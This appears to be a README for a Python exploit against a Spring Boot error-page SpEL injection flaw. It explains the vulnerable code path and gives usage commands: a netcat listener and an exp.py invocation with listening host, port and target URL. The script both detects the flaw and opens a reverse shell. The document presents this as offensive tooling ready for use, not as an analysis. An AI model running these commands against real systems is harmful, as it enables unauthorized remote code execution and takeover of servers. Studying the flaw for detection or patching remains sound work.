-
There is an error in spring boot processing parameter value, and the process enters the
org.springframework.util.PropertyPlaceholderHelperclass -
At this time, the parameter value in the URL will be parsed recursively using the
parseStringValuemethod. -
The content surrounded by
${}will be parsed and executed as a SpEL expression by theresolvePlaceholdermethod of theorg.springframework.boot.autoconfigure.web.ErrorMvcAutoConfigurationclass, causing an RCE vulnerability.
Through this EXP, you can determine whether the vulnerability exists and rebound the shell.
First, for example, when accessing /article?id=xxx, the page will report an error with status code 500: Whitelabel Error Page, you can use the current POC & EXP to try
nc -lvvp 8088
python3 exp.py -lhost 127.0.0.1 -lport 8088 -t "http://127.0.0.1:9091/article?id="-lhost: The listening host
-lport: The listening port
-t: The target URL(Notice: Need to include host, port, path and parameter.)

